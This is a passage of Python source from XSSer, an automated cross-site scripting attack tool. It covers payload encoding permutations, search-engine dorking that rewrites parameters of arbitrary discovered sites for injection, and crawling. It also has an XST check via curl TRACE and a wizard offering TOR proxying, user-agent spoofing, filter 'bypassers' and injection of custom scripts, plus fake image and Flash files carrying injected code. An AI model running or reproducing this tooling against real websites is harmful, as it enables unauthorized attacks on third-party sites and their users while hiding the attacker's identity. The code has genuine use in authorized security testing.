  1938. self.heuris_doublecolon_notfound = self.heuris_doublecolon_notfound + 1
  1939. elif heuristic_param == "=":
  1940. self.heuris_equal_notfound = self.heuris_equal_notfound + 1
  1941. self.add_failure(dest_url, heuristic_param, value, query_string, orig_url, 'heuristic') # heuristic fail
  1942. elif self.options.hash:
  1943. for key, value in self.final_hashes.items():
  1944. self.add_failure(dest_url, key, value, query_string, orig_url, 'hashing check') # hashing_check fail
  1945. self.report("\n" +"="*45)
  1946. else:
  1947. for key, value in self.final_hashes.items():
  1948. if "XSA" in value:
  1949. method = "xsa"
  1950. hashing = key
  1951. elif "XSR" in value:
  1952. method = "xsr"
  1953. hashing = key
  1954. elif "COO" in value:
  1955. method = "coo"
  1956. hashing = key
  1957. else:
  1958. method = "url"
  1959. hashing = key
  1960. if self.options.Str:
  1961. payload_string = payload["payload"].replace("PAYLOAD", key)
  1962. hashed_payload = self.encoding_permutations(payload_string)
  1963. hashed_payload = hashed_payload.replace(",", "%2C")
  1964. if str(hashed_payload) in str(dest_url):
  1965. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1966. elif self.options.Mix:
  1967. payload_string = payload["payload"].replace("PAYLOAD", key)
  1968. hashed_payload = self.encoding_permutations(payload_string)
  1969. hashed_payload=urllib.parse.quote(hashed_payload)
  1970. if str(hashed_payload) in str(dest_url):
  1971. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1972. elif self.options.Dec:
  1973. payload_string = payload["payload"].replace("PAYLOAD", key)
  1974. hashed_payload = self.encoding_permutations(payload_string)
  1975. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1976. if str(hashed_payload) in str(dest_url):
  1977. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1978. elif self.options.Hex:
  1979. payload_string = payload["payload"].replace("PAYLOAD", key)
  1980. hashed_payload = self.encoding_permutations(payload_string)
  1981. hashed_payload = hashed_payload.replace("%", "%25")
  1982. if str(hashed_payload) in str(dest_url):
  1983. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1984. elif self.options.Hes:
  1985. payload_string = payload["payload"].replace("PAYLOAD", key)
  1986. hashed_payload = self.encoding_permutations(payload_string)
  1987. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1988. hashed_payload = hashed_payload.replace(";", "%3B")
  1989. if str(hashed_payload) in str(dest_url):
  1990. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1991. else:
  1992. if self.options.Cem:
  1993. enc_perm = options.Cem.split(",")
  1994. payload_string = payload["payload"].replace("PAYLOAD", key)
  1995. for e in enc_perm:
  1996. hashed_payload = self.encoding_permutations(payload_string)
  1997. if str(e) == "Str":
  1998. hashed_payload = hashed_payload.replace(",", "%2C")
  1999. if e == "Mix":
  2000. hashed_payload=urllib.parse.quote(hashed_payload)
  2001. if e == "Dec":
  2002. hashed_payload = hashed_payload.replace("&#", "%26%23")
  2003. if e == "Hex":
  2004. hashed_payload = hashed_payload.replace("%", "%25")
  2005. if e == "Hes":
  2006. hashed_payload = hashed_payload.replace("&#", "%26%23")
  2007. hashed_payload = hashed_payload.replace(";", "%3B")
  2008. if str(hashed_payload) in str(dest_url):
  2009. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  2010. else:
  2011. if str(key) in str(dest_url):
  2012. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  2013. else:
  2014. if key in current_hashes:
  2015. if method == "xsa":
  2016. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
  2017. elif method == "xsr":
  2018. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
  2019. elif method == "coo":
  2020. self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
  2021. self.report("\n" +"="*45)
  2022. if str(curl_handle.info()["http-code"]) == "404":
  2023. self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
  2024. elif str(curl_handle.info()["http-code"]) == "403":
  2025. self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  2026. elif str(curl_handle.info()["http-code"]) == "400":
  2027. self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  2028. elif str(curl_handle.info()["http-code"]) == "401":
  2029. self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
  2030. elif str(curl_handle.info()["http-code"]) == "407":
  2031. self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  2032. elif str(curl_handle.info()["http-code"]) == "408":
  2033. self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  2034. elif str(curl_handle.info()["http-code"]) == "500":
  2035. self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  2036. elif str(curl_handle.info()["http-code"]) == "501":
  2037. self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  2038. elif str(curl_handle.info()["http-code"]) == "502":
  2039. self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
  2040. elif str(curl_handle.info()["http-code"]) == "503":
  2041. self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
  2042. elif str(curl_handle.info()["http-code"]) == "504":
  2043. self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  2044. elif str(curl_handle.info()["http-code"]) == "0":
  2045. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Wrong URL\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2046. else:
  2047. self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  2048. if str(curl_handle.info()["http-code"]) == "404":
  2049. self.not_connection = self.not_connection + 1
  2050. elif str(curl_handle.info()["http-code"]) == "503":
  2051. self.forwarded_connection = self.forwarded_connection + 1
  2052. else:
  2053. self.other_connection = self.other_connection + 1
  2054. def check_positive(self, curl_handle, dest_url, payload, query_string):
  2055. """
  2056. Perform extra check for positives
  2057. """
  2058. body = curl_handle.body()
  2059. pass
  2060. def create_options(self, args=None):
  2061. """
  2062. Create options for OptionParser.
  2063. """
  2064. self.optionParser = XSSerOptions()
  2065. self.options = self.optionParser.get_options(args)
  2066. if not self.options:
  2067. return False
  2068. return self.options
  2069. def _get_attack_urls(self):
  2070. """
  2071. Process payload options and make up the payload list for the attack.
  2072. """
  2073. urls = []
  2074. options = self.options
  2075. p = self.optionParser
  2076. if options.imx:
  2077. self.create_fake_image(options.imx, options.script)
  2078. return []
  2079. if options.flash:
  2080. self.create_fake_flash(options.flash, options.script)
  2081. return []
  2082. if options.update:
  2083. self.report('='*75)
  2084. self.report(str(p.version))
  2085. self.report('='*75)
  2086. try:
  2087. print("\nTrying to update to the latest stable version...\n")
  2088. Updater()
  2089. except:
  2090. print("Not any .git repository found!\n")
  2091. print("="*30)
  2092. print("\nTo have working this feature, you should clone XSSer with:\n")
  2093. print("$ git clone https://code.03c8.net/epsylon/xsser\n")
  2094. print("\nAlso you can try this other mirror:\n")
  2095. print("$ git clone https://github.com/epsylon/xsser\n")
  2096. return []
  2097. if options.wizard: # processing wizard template
  2098. if self.user_template is not None:
  2099. self.options.statistics = True # detailed output
  2100. if self.user_template[0] == "DORKING": # mass-dorking
  2101. self.options.dork_file = True
  2102. self.options.dork_mass = True
  2103. elif "http" in self.user_template[0]: # from target url
  2104. self.options.url = self.user_template[0]
  2105. else: # from file
  2106. self.options.readfile = self.user_template[0]
  2107. if self.user_template[1] == "CRAWLER": # crawlering target
  2108. self.options.crawling = "10"
  2109. else: # manual payload (GET or POST)
  2110. if self.user_template_conntype == "GET":
  2111. self.options.getdata = self.user_template[1]
  2112. else:
  2113. self.options.postdata = self.user_template[1]
  2114. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  2115. self.options.ignoreproxy = True
  2116. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2117. self.options.referer = "127.0.0.1" # spoof referer
  2118. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  2119. self.options.ignoreproxy = True
  2120. else: # using proxy + spoofing
  2121. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2122. self.options.referer = "127.0.0.1" # spoof referer
  2123. if self.user_template[2] is not None:
  2124. self.options.proxy = self.user_template[2]
  2125. else:
  2126. self.options.ignoreproxy = True
  2127. if self.user_template[3] == "Not using encoders":
  2128. pass
  2129. elif self.user_template[3] == "Hex": # Hexadecimal
  2130. self.options.Hex = True
  2131. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  2132. self.options.Str = True
  2133. self.options.Une = True
  2134. else: # Character encoding mutations
  2135. self.options.Cem = self.user_template[3]
  2136. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  2137. self.options.finalpayload = "<script>alert('XSS');</script>"
  2138. else:
  2139. if self.user_template[4] is not None: # Inject user script
  2140. self.options.finalpayload = self.user_template[4]
  2141. else: # not final injection
  2142. pass
  2143. else: # exit
  2144. return
  2145. if options.target: # miau!
  2146. self.report('='*75)
  2147. self.report(str(p.version))
  2148. self.report('='*75)
  2149. self.report("Testing [Full XSS audit]... ;-)")
  2150. self.report('='*75)
  2151. self.report("\n[Info] The following actions will be performed at the end:\n")
  2152. self.report(" 1- Output with detailed statistics\n")
  2153. self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
  2154. self.options.crawling = 99999 # set max num of urls to crawl
  2155. self.options.crawler_width = 5 # set max num of deeping levels
  2156. self.options.crawler_local = True # set crawlering range to local only
  2157. self.options.statistics = True # detailed output
  2158. self.options.timeout = 60 # timeout
  2159. self.options.retries = 2 # retries
  2160. self.options.delay = 5 # delay
  2161. self.options.threads = 10 # threads
  2162. self.options.followred = True # follow redirs
  2163. self.options.nohead = False # HEAD check
  2164. self.options.reversecheck = True # try to establish a reverse connection
  2165. self.options.fuzz = True # autofuzzing
  2166. self.options.coo = True # COO
  2167. self.options.xsa = True # XSA
  2168. self.options.xsr = True # XSR
  2169. self.options.dcp = True # DCP
  2170. self.options.dom = True # DOM
  2171. self.options.inducedcode = True # Induced
  2172. self.options.fileoutput = True # Important: export results to file (.raw)
  2173. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  2174. self.check_trace() # XST
  2175. urls = [options.target]
  2176. if options.url:
  2177. self.report('='*75)
  2178. self.report(str(p.version))
  2179. self.report('='*75)
  2180. if self.options.crawling:
  2181. self.report("Testing [XSS from CRAWLER]...")
  2182. else:
  2183. self.report("Testing [XSS from URL]...")
  2184. self.report('='*75)
  2185. urls = [options.url]
  2186. elif options.readfile:
  2187. self.report('='*75)
  2188. self.report(str(p.version))
  2189. self.report('='*75)
  2190. self.report("Testing [XSS from FILE]...")
  2191. self.report('='*75)
  2192. try:
  2193. f = open(options.readfile)
  2194. urls = f.readlines()
  2195. urls = [ line.replace('\n','') for line in urls ]
  2196. f.close()
  2197. except:
  2198. import os.path
  2199. if os.path.exists(options.readfile) == True:
  2200. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  2201. else:
  2202. self.report('\nCannot found file: ', options.readfile, "\n")
  2203. elif options.dork: # dork a query
  2204. self.report('='*75)
  2205. self.report(str(p.version))
  2206. self.report('='*75)
  2207. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2208. self.report('='*75)
  2209. if options.dork_mass: # massive dorkering
  2210. for e in self.search_engines:
  2211. try:
  2212. dorker = Dorker(e)
  2213. urls = dorker.dork(options.dork)
  2214. i = 0
  2215. for u in urls: # replace original parameter for injection keyword (XSS)
  2216. p_uri = urlparse(u)
  2217. uri = p_uri.netloc
  2218. path = p_uri.path
  2219. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2220. for key, value in target_params.items(): # parse params to apply keywords
  2221. for v in value:
  2222. target_params[key] = 'XSS'
  2223. target_url_params = urllib.parse.urlencode(target_params)
  2224. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2225. urls[i] = u
  2226. i = i + 1
  2227. except Exception as e:
  2228. for reporter in self._reporters:
  2229. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2230. else:
  2231. if urls is not None:
  2232. for url in urls:
  2233. for reporter in self._reporters:
  2234. reporter.add_link(dorker.search_url, url)
  2235. else:
  2236. if not options.dork_engine:
  2237. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2238. dorker = Dorker(options.dork_engine)
  2239. try:
  2240. urls = dorker.dork(options.dork)
  2241. i = 0
  2242. for u in urls: # replace original parameter for injection keyword (XSS)
  2243. p_uri = urlparse(u)
  2244. uri = p_uri.netloc
  2245. path = p_uri.path
  2246. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2247. for key, value in target_params.items(): # parse params to apply keywords
  2248. for v in value:
  2249. target_params[key] = 'XSS'
  2250. target_url_params = urllib.parse.urlencode(target_params)
  2251. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2252. urls[i] = u
  2253. i = i + 1
  2254. except Exception as e:
  2255. for reporter in self._reporters:
  2256. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2257. else:
  2258. if urls is not None:
  2259. for url in urls:
  2260. for reporter in self._reporters:
  2261. reporter.add_link(dorker.search_url, url)
  2262. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  2263. self.report('='*75)
  2264. self.report(str(p.version))
  2265. self.report('='*75)
  2266. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2267. self.report('='*75)
  2268. try:
  2269. f = open('core/fuzzing/dorks.txt')
  2270. dorks = f.readlines()
  2271. dorks = [ dork.replace('\n','') for dork in dorks ]
  2272. f.close()
  2273. if not dorks:
  2274. print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
  2275. return
  2276. except:
  2277. if os.path.exists('core/fuzzing/dorks.txt') == True:
  2278. print('[Error] - Cannot open:', 'dorks.txt', "\n")
  2279. return
  2280. else:
  2281. print('[Error] - Cannot found:', 'dorks.txt', "\n")
  2282. return
  2283. if not options.dork_engine:
  2284. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2285. if options.dork_mass: # massive dorkering
  2286. for e in self.search_engines:
  2287. try:
  2288. dorker = Dorker(e)
  2289. for dork in dorks:
  2290. urls = dorker.dork(dork)
  2291. i = 0
  2292. for u in urls: # replace original parameter for injection keyword (XSS)
  2293. p_uri = urlparse(u)
  2294. uri = p_uri.netloc
  2295. path = p_uri.path
  2296. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2297. for key, value in target_params.items(): # parse params to apply keywords
  2298. for v in value:
  2299. target_params[key] = 'XSS'
  2300. target_url_params = urllib.parse.urlencode(target_params)
  2301. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2302. urls[i] = u
  2303. i = i + 1
  2304. except Exception as e:
  2305. for reporter in self._reporters:
  2306. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2307. else:
  2308. if urls is not None:
  2309. for url in urls:
  2310. for reporter in self._reporters:
  2311. reporter.add_link(dorker.search_url, url)
  2312. else:
  2313. dorker = Dorker(options.dork_engine)
  2314. try:
  2315. for dork in dorks:
  2316. urls = dorker.dork(dork)
  2317. i = 0
  2318. for u in urls: # replace original parameter for injection keyword (XSS)
  2319. p_uri = urlparse(u)
  2320. uri = p_uri.netloc
  2321. path = p_uri.path
  2322. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2323. for key, value in target_params.items(): # parse params to apply keywords
  2324. for v in value:
  2325. target_params[key] = 'XSS'
  2326. target_url_params = urllib.parse.urlencode(target_params)
  2327. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2328. urls[i] = u
  2329. i = i + 1
  2330. except Exception as e:
  2331. for reporter in self._reporters:
  2332. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2333. else:
  2334. if urls is not None:
  2335. for url in urls:
  2336. for reporter in self._reporters:
  2337. reporter.add_link(dorker.search_url, url)
  2338. if options.crawling: # crawlering target(s)
  2339. nthreads = options.threads
  2340. self.crawled_urls = list(urls)
  2341. all_crawled = []
  2342. try:
  2343. self.options.crawling = int(self.options.crawling)
  2344. except:
  2345. self.options.crawling = 50
  2346. if self.options.crawler_width == None:
  2347. self.options.crawler_width = 2 # default crawlering-width
  2348. else:
  2349. try:
  2350. self.options.crawler_width = int(self.options.crawler_width)
  2351. except:
  2352. self.options.crawler_width = 2 # default crawlering-width
  2353. if self.options.crawler_local == None:
  2354. self.options.crawler_local = False # default crawlering to LOCAL
  2355. if self.options.crawling > 100:
  2356. warning_text = " -> (WARNING: It can take long time...)"
  2357. else:
  2358. warning_text = ""
  2359. for url in set(urls):
  2360. self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+warning_text+ " \n - Deep level: "+ str(options.crawler_width))
  2361. crawler = Crawler(self, Curl, all_crawled,
  2362. self.pool)
  2363. crawler.set_reporter(self)
  2364. # now wait for all results to arrive
  2365. while urls:
  2366. self.run_crawl(crawler, urls.pop(), options)
  2367. while not self._landing:
  2368. for reporter in self._reporters:
  2369. reporter.report_state('broad scanning')
  2370. try:
  2371. self.pool.poll()
  2372. except NoResultsPending:
  2373. crawler.cancel()
  2374. break
  2375. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  2376. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  2377. crawler.cancel()
  2378. break
  2379. time.sleep(0.1)
  2380. # re-parse crawled urls from main
  2381. parsed_crawled_urls = []
  2382. for u in self.crawled_urls:
  2383. if "XSS" in u:
  2384. parsed_crawled_urls.append(u)
  2385. else:
  2386. pass
  2387. self.crawled_urls = parsed_crawled_urls
  2388. # report parsed crawled urls
  2389. self.report("\n" + "-"*25)
  2390. self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
  2391. if self.crawled_urls:
  2392. self.report("")
  2393. for u in self.crawled_urls:
  2394. if '/XSS' in u:
  2395. u = u.replace("/XSS", "")
  2396. self.report(" - " + str(u))
  2397. if not len(self.crawled_urls) > 0:
  2398. self.report("\n" + "-"*25)
  2399. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Wrong URL\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2400. else:
  2401. self.report("")
  2402. return self.crawled_urls
  2403. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  2404. return urls
  2405. def run_crawl(self, crawler, url, options):
  2406. def _cb(request, result):
  2407. pass
  2408. def _error_cb(request, error):
  2409. for reporter in self._reporters:
  2410. reporter.mosquito_crashed(url, str(error[0]))
  2411. if DEBUG == True:
  2412. traceback.print_tb(error[2])
  2413. def crawler_main(args):
  2414. return crawler.crawl(*args)
  2415. crawler.crawl(url, int(options.crawler_width),
  2416. int(options.crawling),options.crawler_local)
  2417. def poll_workers(self):
  2418. try:
  2419. self.pool.poll()
  2420. except NoResultsPending:
  2421. pass
  2422. def try_running(self, func, error, args=[]):
  2423. """
  2424. Try running a function and print some error if it fails and exists with
  2425. a fatal error.
  2426. """
  2427. try:
  2428. return func(*args)
  2429. except Exception as e:
  2430. self.report(error)
  2431. if DEBUG == True:
  2432. traceback.print_exc()
  2433. def check_trace(self):
  2434. """
  2435. Check for Cross Site Tracing (XST) vulnerability:
  2436. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  2437. 2) check data sent on reply
  2438. """
  2439. agents = [] # user-agents
  2440. try:
  2441. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2442. except:
  2443. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2444. for line in f:
  2445. agents.append(line)
  2446. agent = random.choice(agents).strip() # set random user-agent
  2447. referer = '127.0.0.1'
  2448. import subprocess, shlex
  2449. if not self.options.xst:
  2450. self.report("-"*25 + "\n")
  2451. self.report("[Info] REQUEST: Cross Site Tracing (XST) Vulnerability...\n")
  2452. if self.options.xst:
  2453. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE -N ' + self.options.xst), stdout=subprocess.PIPE)
  2454. if self.options.target:
  2455. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE -N ' + self.options.target), stdout=subprocess.PIPE)
  2456. line1 = xst.stdout.read().decode('utf-8')
  2457. if self.options.verbose:
  2458. if line1 != '':
  2459. self.report("[Info] Reply:", line1.rstrip())
  2460. self.report("")
  2461. if "405 Not Allowed" in line1.rstrip() or "405 Method Not Allowed" in line1.rstrip():
  2462. self.report("[Info] REPLY: Target is NOT vulnerable...\n")
  2463. elif "TRACE / HTTP" in line1.rstrip():
  2464. self.report("[Info] REPLY: Target is vulnerable to XST!\n")
  2465. else:
  2466. self.report("[Info] REPLY: Target is NOT vulnerable...\n")
  2467. if self.options.target:
  2468. self.report('='*75)
  2469. def start_wizard(self):
  2470. """
  2471. Start Wizard Helper
  2472. """
  2473. #step 0: Menu
  2474. ans1=True
  2475. ans2=True
  2476. ans3=True
  2477. ans4=True
  2478. ans5=True
  2479. ans6=True
  2480. #step 1: Where
  2481. while ans1:
  2482. print("""\nA)- Where are your targets?\n
  2483. [1]- I want to enter the url of my target directly.
  2484. [2]- I want to enter a list of targets from a .txt file.
  2485. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  2486. [e]- Exit/Quit/Abort.
  2487. """)
  2488. ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2489. if ans1 == "1": # from url
  2490. url = input("Target url (ex: http(s)://target.com): ")
  2491. if url.startswith("http"):
  2492. ans1 = None
  2493. else:
  2494. print("\n[Error] Your url is not valid!. Try again!")
  2495. pass
  2496. elif ans1 == "2": # from file
  2497. url = input("Path to file (ex: 'targets_list.txt'): ")
  2498. if url == None:
  2499. print("\n[Error] Your are not providing a valid file. Try again!")
  2500. pass
  2501. else:
  2502. ans1 = None
  2503. elif ans1 == "3": # dorking
  2504. url = "DORKING"
  2505. ans1 = None
  2506. elif (ans1 == "e" or ans1 == "E"):
  2507. print("Closing wizard...")
  2508. ans1=None
  2509. ans2=None
  2510. ans3=None
  2511. ans4=None
  2512. ans5=None
  2513. ans6=None
  2514. else:
  2515. print("\nNot valid choice. Try again!")
  2516. #step 2: How
  2517. while ans2:
  2518. print(22*"-")
  2519. print("""\nB)- How do you want to connect?\n
  2520. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  2521. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  2522. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  2523. *[4]- I don't know how to connect... Just do it! :-)
  2524. [e]- Exit/Quit/Abort.
  2525. """)
  2526. ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2527. if ans2 == "1": # using GET
  2528. payload = input("GET payload (ex: '/menu.php?q='): ")
  2529. if payload == None:
  2530. print("\n[Error] Your are providing an empty payload. Try again!")
  2531. pass
  2532. else:
  2533. self.user_template_conntype = "GET"
  2534. ans2 = None
  2535. elif ans2 == "2": # using POST
  2536. payload = input("POST payload (ex: 'foo=1&bar='): ")
  2537. if payload == None:
  2538. print("\n[Error] Your are providing an empty payload. Try again!")
  2539. pass
  2540. else:
  2541. self.user_template_conntype = "POST"
  2542. ans2 = None
  2543. elif ans2 == "3": # crawlering
  2544. payload = "CRAWLER"
  2545. ans2 = None
  2546. elif ans2 == "4": # crawlering
  2547. payload = "CRAWLER"
  2548. ans2 = None
  2549. elif (ans2 == "e" or ans2 == "E"):
  2550. print("Closing wizard...")
  2551. ans2=None
  2552. ans3=None
  2553. ans4=None
  2554. ans5=None
  2555. ans6=None
  2556. else:
  2557. print("\nNot valid choice. Try again!")
  2558. #step 3: Proxy
  2559. while ans3:
  2560. print(22*"-")
  2561. print("""\nC)- Do you want to be 'anonymous'?\n
  2562. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  2563. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  2564. *[3]- Yes. But I haven't any proxy. :-)
  2565. [4]- No. It's not a problem for me to connect directly to the target(s).
  2566. [e]- Exit/Quit.
  2567. """)
  2568. ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2569. if ans3 == "1": # using PROXY + spoofing
  2570. proxy = input("Enter proxy [http(s)://server:port]: ")
  2571. ans3 = None
  2572. elif ans3 == "2": # using TOR + spoofing
  2573. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  2574. proxy = 'http://127.0.0.1:8118'
  2575. ans3 = None
  2576. elif ans3 == "3": # only spoofing
  2577. proxy = 'Proxy: No - Spoofing: Yes'
  2578. ans3 = None
  2579. elif ans3 == "4": # no spoofing
  2580. proxy = 'Proxy: No - Spoofing: No'
  2581. ans3 = None
  2582. elif (ans3 == "e" or ans3 == "E"):
  2583. print("Closing wizard...")
  2584. ans3=None
  2585. ans4=None
  2586. ans5=None
  2587. ans6=None
  2588. else:
  2589. print("\nNot valid choice. Try again!")
  2590. #step 4: Bypasser(s)
  2591. while ans4:
  2592. print(22*"-")
  2593. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  2594. [1]- I want to inject XSS scripts without any encoding.
  2595. [2]- Try to inject code using 'Hexadecimal'.
  2596. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  2597. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  2598. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  2599. [e]- Exit/Quit.
  2600. """)
  2601. ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  2602. if ans4 == "1": # no encode
  2603. enc = "Not using encoders"
  2604. ans4 = None
  2605. elif ans4 == "2": # enc: Hex
  2606. enc = 'Hex'
  2607. ans4 = None
  2608. elif ans4 == "3": # enc: Str+Une
  2609. enc = 'Str+Une'
  2610. ans4 = None
  2611. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  2612. enc = "Une,Str,Hex"
  2613. ans4 = None
  2614. elif ans4 == "5": # enc: no encode
  2615. enc = 'Not using encoders'
  2616. ans4 = None
  2617. elif (ans4 == "e" or ans4 == "E"):
  2618. print("Closing wizard...")
  2619. ans4=None
  2620. ans5=None
  2621. ans6=None
  2622. else:
  2623. print("\nNot valid choice. Try again!")
  2624. #step 5: Exploiting
  2625. while ans5:
  2626. print(22*"-")
  2627. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  2628. [1]- I want to inject a classic "Alert" message box.
  2629. [2]- I want to inject my own scripts.
  2630. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  2631. [e]- Exit/Quit.
  2632. """)
  2633. ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2634. if ans5 == "1": # alertbox
  2635. script = 'Alertbox'
  2636. ans5 = None
  2637. elif ans5 == "2": # manual
  2638. script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
  2639. if script == None:
  2640. print("\n[Error] Your are providing an empty script to inject. Try again!")
  2641. pass
  2642. else:
  2643. ans5 = None
  2644. elif ans5 == "3": # no exploit
  2645. script = 'Not exploiting code'
  2646. ans5 = None
  2647. elif (ans5 == "e" or ans5 == "E"):
  2648. print("Closing wizard...")
  2649. ans5=None
  2650. ans6=None
  2651. else:
  2652. print("\nNot valid choice. Try again!")
  2653. #step 6: Final
  2654. while ans6:
  2655. print(22*"-")
  2656. print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
  2657. print("A)- Target:", url)
  2658. print("B)- Payload:", payload)
  2659. print("C)- Privacy:", proxy)
  2660. print("D)- Bypasser(s):", enc)
  2661. print("E)- Final:", script)
  2662. print("""
  2663. [Y]- Yes. Accept it and start testing!.
  2664. [N]- No. Abort it?.
  2665. """)
  2666. ans6 = input("Your choice: [Y] or [N]\n")
  2667. if (ans6 == "y" or ans6 == "Y"): # YES
  2668. start = 'YES'
  2669. print('Good fly... and happy "Cross" hacking !!! :-)\n')
  2670. ans6 = None
  2671. elif (ans6 == "n" or ans6 == "N"): # NO
  2672. start = 'NO'
  2673. print("Aborted!. Closing wizard...")
  2674. ans6 = None
  2675. else:
  2676. print("\nNot valid choice. Try again!")
  2677. if url and payload and proxy and enc and script:
  2678. return url, payload, proxy, enc, script
  2679. else:
  2680. return
  2681. def create_fake_image(self, filename, payload):
  2682. """
  2683. Create -fake- image with code injected
  2684. """
  2685. options = self.options
  2686. filename = options.imx
  2687. payload = options.script
  2688. image_xss_injections = ImageInjections()
  2689. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  2690. return image_injections
  2691. def create_fake_flash(self, filename, payload):
  2692. """
  2693. Create -fake- flash movie (.swf) with code injected
  2694. """
  2695. options = self.options
  2696. filename = options.flash
  2697. payload = options.script
  2698. flash_xss_injections = FlashInjections()
  2699. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  2700. return flash_injections
  2701. def create_gtk_interface(self):
  2702. """
  2703. Create GTK Interface
  2704. """
  2705. options = self.options
  2706. from core.gtkcontroller import Controller, reactor
  2707. uifile = "xsser.ui"
  2708. controller = Controller(uifile, self)
  2709. self._reporters.append(controller)
  2710. if reactor:
  2711. reactor.run()
  2712. else:
  2713. from gi.repository import Gtk
